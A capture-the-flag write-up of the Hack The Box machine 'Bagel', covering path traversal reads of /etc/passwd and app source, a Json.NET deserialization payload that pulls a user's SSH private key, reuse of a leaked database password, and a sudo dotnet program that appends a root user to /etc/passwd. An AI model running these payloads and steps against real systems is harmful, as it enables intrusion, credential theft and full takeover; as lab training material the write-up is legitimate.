Description

Bagel is a medium Hack The Box machine that features:

  • Path Traversal in web application allows reading web source code discovering a NetCore application with a WebSocket in another port
  • Reverse Engineering of NetCore application lead to the discovery of credentials and a insecure deserialization vulnerability
  • Insecure Deserialization vulnerability allows reading the content of the private SSH key of an user
  • User Pivoting by using the previously leaked credential
  • Privilege Escalation by creating a command execution NetCore application allowed to be executed by the root user

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.10.11.201.

$ ping -c 3 10.10.11.201
PING 10.10.11.201 (10.10.11.201) 56(84) bytes of data.
64 bytes from 10.10.11.201: icmp_seq=1 ttl=63 time=43.7 ms
64 bytes from 10.10.11.201: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.10.11.201: icmp_seq=3 ttl=63 time=43.6 ms

--- 10.10.11.201 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 43.531/43.593/43.666/0.055 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.10.11.201 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.201
Host is up (0.045s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 1.01 seconds

We get three open ports: 22, 5000 and 8000.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.10.11.201 -sV -sC -p22,5000,8000 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.201
Host is up (0.044s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey: 
|   256 6e:4e:13:41:f2:fe:d9:e0:f7:27:5b:ed:ed:cc:68:c2 (ECDSA)
|_  256 80:a7:cd:10:e7:2f:db:95:8b:86:9b:1b:20:65:2a:98 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Connection: close
...
8000/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.10.9)
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.95%I=7%D=10/18%Time=68F3CC0C%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nServer:\x20Microsof
...

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.08 seconds

We get three three services: one Secure Shell (SSH), and two Hypertext Transfer Protocol (HTTP). As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We add the bagel.htb domain to the /etc/hosts file.

$ echo '10.10.11.201 bagel.htb' | sudo tee -a /etc/hosts

Enumerating the HTTP service we find that the web server in port 5000 is a Microsoft-NetCore in its 2.0 version. We receive a 400 error if we try to access to the website. Moving to the 8000 port we find a bagel shop. With clicking to the Orders buttons we get redirected to the /orders endpoint with a list of orders and sending addresses.

$ curl http://bagel.htb:8000/orders
order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]
order #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]
order #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels]

In the main page the URL has the http://bagel.htb:8000/?page=index.html format. For the index endpoint the page parameter is set with the name of a file. This endpoint seems vulnerable to Path Traversal vulnerability.

Exploitation

We are going if the vulnerability is active by checking the console users in the system by reading the /etc/passwd file.

$ curl -s 'http://bagel.htb:8000/?page=../../../../etc/passwd' | grep sh
root:x:0:0:root:/root:/bin/bash
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash

The application is vulnerable with the console users: root, developer and phil. As this is a Werkzeug server we know that it is a Python application. We are going to enumerate the parameters the application was start with the /proc/self/cmdline file.

$ curl -o - 'http://bagel.htb:8000/?page=../../../../proc/self/cmdline'
python3/home/developer/app/app.py

We find that the application executed by python3 is located in the /home/developer/app/app.py directory, so we assume that the application is being executed by developer user. Let’s read the app.py file.

$ curl -o - 'http://bagel.htb:8000/?page=../../../../home/developer/app/app.py'
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

Effectively in the / endpoint the application is returning the contents of the file specified by the page parameter if it exists. But the orders parameters is using a WebSocket to the NetCore service located in the 5000 port. In the WebSocket connection the {"ReadOrder":"orders.txt"} string is sent pointing to the orders.txt file. Then the contents of the JSON are returned. We are going to do a test using Python as know we know how it works the NetCore application.

$ python
...
>>> import websocket,json
>>> ws = websocket.WebSocket()
>>> ws.connect("ws://bagel.htb:5000/")
>>> order = {"ReadOrder":"orders.txt"}
>>> data = str(json.dumps(order))
>>> ws.send(data)
33
>>> result = ws.recv()
>>> print(result)
{
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "8:45:00",
  "RemoveOrder": null,
  "WriteOrder": null,
  "ReadOrder": "order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]\norder #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]\norder #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels] \n"
}

We find as a response a JSON object with the UserId. Session, Time, RemoveOrder, WriteOrder, and ReadOrder (the contents printed on the website) keys. In the source code there is a mention of a login using a SSH key to run the NetCore application with a DLL file. As the NetCore application is running, the process must to. So we can enumerate all the processes in the system to search for the one with the .dll file. We can use the wfuzz tool checking for processes ID from 0 to 10000.

$ wfuzz -c -z range,1-10000 --ss 'dll' 'http://bagel.htb:8000/?page=../../../../proc/FUZZ/cmdline'
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bagel.htb:8000/?page=../../../../proc/FUZZ/cmdline
Total requests: 10000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                    
=====================================================================

000000890:   200        0 L      1 W        45 Ch       "890"
...

We find the 890 PID. Let’s check the cmdline.

$ curl -o - 'http://bagel.htb:8000/?page=../../../../proc/933/cmdline'
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll

The file is found in the /opt/bagel/bin/Debug/net6.0/bagel.dll path executed by the dotnet application. Let’s retrieve it.

$ curl -o bagel.dll 'http://bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll'
$ file bagel.dll                    
bagel.dll: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections

With the retrieved .dll file we can decompile it with a tool such as dotPeek. In the Orders class and ReadOrder method we find that the application is removing characters that can lead into a Path Traversal such as / or ... We also find that the RemoveOrder method is not implemented with the get and set.

public string ReadOrder
    {
      get => this.file.ReadFile;
      set
      {
        this.order_filename = value;
        this.order_filename = this.order_filename.Replace("/", "");
        this.order_filename = this.order_filename.Replace("..", "");
        this.file.ReadFile = this.order_filename;
      }
    }
...
public object RemoveOrder { get; set; }

In the DB class we find credentials, with db user and k8wdAYYKyhnjg3K password.

public class DB
  {
    [Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
    public void DB_connection()
    {
      SqlConnection sqlConnection = new SqlConnection("Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K");
    }
  }

In the Handler class we find how the received data are serializated and deserializated.

public class Handler
  {
    public object Serialize(object obj)
    {
      return (object) JsonConvert.SerializeObject(obj, (Formatting) 1, new JsonSerializerSettings()
      {
        TypeNameHandling = (TypeNameHandling) 4
      });
    }

    public object Deserialize(string json)
    {
      try
      {
        return (object) JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings()
        {
          TypeNameHandling = (TypeNameHandling) 4
        });
      }
      catch
      {
        return (object) "{\"Message\":\"unknown\"}";
      }
    }
  }

It is effectively deserializating the received JSON with JsonSerializerSettings, but it is setting the TypeNameHandling parameter to 4, or Auto. This is a deserilization vulnerability that allow us to run the ReadFile method to retrieve the private SSH key we observed in the comment earlier. The other user in the system that should have a private SSH key is phil. We will use the following code for the deserialization attack.

{"RemoveOrder":{"$type": "bagel_server.File, bagel","ReadFile":"../../../../home/phil/.ssh/id_rsa"}}

We run the request to the WebSocket server.

$ python
...
>>> import websocket,json
>>> ws = websocket.WebSocket()
>>> ws.connect("ws://bagel.htb:5000/")
>>> order = {"RemoveOrder":{"$type": "bagel_server.File, bagel",
... "ReadFile":"../../../../home/phil/.ssh/id_rsa"}}
>>> order = {"RemoveOrder":{"$type": "bagel_server.File, bagel","ReadFile":"../../../../home/phil/.ssh/id_rsa"}}
>>> data = str(json.dumps(order))
>>> ws.send(data)
109
>>> result = ws.recv()
>>> print(result)
{
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "9:28:02",
  "RemoveOrder": {
    "$type": "bagel_server.File, bagel",
    "ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAuhIcD7KiWMN8eMlmhdKLDclnn0bXShuMjBYpL5qdhw8m1Re3Ud+2\ns8SIkkk0KmIYED3c7aSC8C74FmvSDxTtNOd3T/iePR...zIfjaN9Gcu4NWgA6YS5jpVUE2UyyWIKPrBJcmNDCGzY7EqthzQzWr4K\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
    "WriteFile": null
  },
  "WriteOrder": null,
  "ReadOrder": null
}

We got the private SSH key of the phil user, we replace the \n characters and we login.

$ nano id_rsa
$ sed -i 's/\\n/\n/g' id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa phil@bagel.htb                       
The authenticity of host 'bagel.htb (10.10.11.201)' can't be established.
ED25519 key fingerprint is SHA256:Di9rfN6auXa0i6Hdly0dzrLddlFqLIfzbUn30m/l7cg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'bagel.htb' (ED25519) to the list of known hosts.
Last login: Tue Feb 14 11:47:33 2023 from 10.10.14.19
[phil@bagel ~]$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

We are logged as the phil user.

Post-Exploitation

We can pivot to the developer account with the previous password we discovered previously. k8wdAYYKyhnjg3K.

[phil@bagel ~]$ su developer
Password: 
[developer@bagel phil]$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

We find that developer can run one command as root user. /usr/bin/dotnet. This means that we can load any program with command execution to be executed as root user.

[developer@bagel phil]$ sudo -l
Matching Defaults entries for developer on bagel:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin

User developer may run the following commands on bagel:
    (root) NOPASSWD: /usr/bin/dotnet

We are going to create a dotnet project with a command that will create a new root user in the system with the passwordhtb password.

[developer@bagel ~]$ mkdir project
[developer@bagel ~]$ cd project/
[developer@bagel project]$ dotnet new console -n RunCommand
[developer@bagel project]$ cd RunCommand
[developer@bagel project]$ cat<<EOF>Program.cs
using System.Diagnostics;

class Program
{
    static void Main()
    {
        Process.Start("/bin/bash", "-c \"echo 'root2:\$1\$IX9v2U5o\$tpsHTNLLik2uBXGO7OyIk0:0:0:root:/root:/bin/bash' >> /etc/passwd\"")?.WaitForExit();
    }
}

EOF

Then we run the project as root user and then we can spawn the root shell.

[developer@bagel RunCommand]$ sudo dotnet run
[developer@bagel RunCommand]$ su root2
Password: 
[root@bagel RunCommand]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Flags

In the root shell we can retrieve the user.txt and root.txt files.

[root@bagel RunCommand]# cat /home/phil/user.txt 
<REDACTED>
[root@bagel RunCommand]# cat /root/root.txt 
<REDACTED>